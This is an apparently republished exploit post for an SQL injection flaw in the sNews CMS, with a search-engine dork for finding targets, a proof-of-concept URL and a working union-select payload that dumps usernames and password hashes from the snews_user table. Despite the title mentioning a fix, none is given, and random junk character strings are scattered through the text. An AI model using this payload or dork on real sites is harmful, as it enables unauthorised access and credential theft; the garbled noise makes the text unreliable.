CMS snews SQL注射及修复

admin

标题: CMS snews SQL Injection Vulnerability
作者: By onestree
下载地址 : http://snewscms.com/
+ `3 Q& d" K2 K3 @3 e/ ?; l测试平台 : ubuntu 12.10 / win 7
$ A: N& z# ]# D. v4 C* P关键词: inurl:"tanyakan pada rumput yang bergoyang"

2 v8 L4 v' ?4 ]  r7 v
( {- m7 I+ r7 S$ W5 I% m4 s1 m*************************************************************
% `' `% e, S2 ^7 V6 ^  L
* \0 y7 o) V. b* o5 CSQL poc:

http://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]
/ M) L$ a( t* B
示例
  A7 C; V) b2 c
0 j+ C' H% f4 f% ?% v0 fhttp://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*


致谢:
; s$ f7 w/ z/ l  b" A" a( R
9 S# K5 A: }- a, |  Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
& w3 [3 x) H  j+ [) P8 R, l7 c     
          indonesiancoder - moeslimh4x0r - go-coder

9 I( ]6 B! m& R2 ospesial my hunny :*
% E. W# Q4 ]& X5 N7 T" d8 m. h' D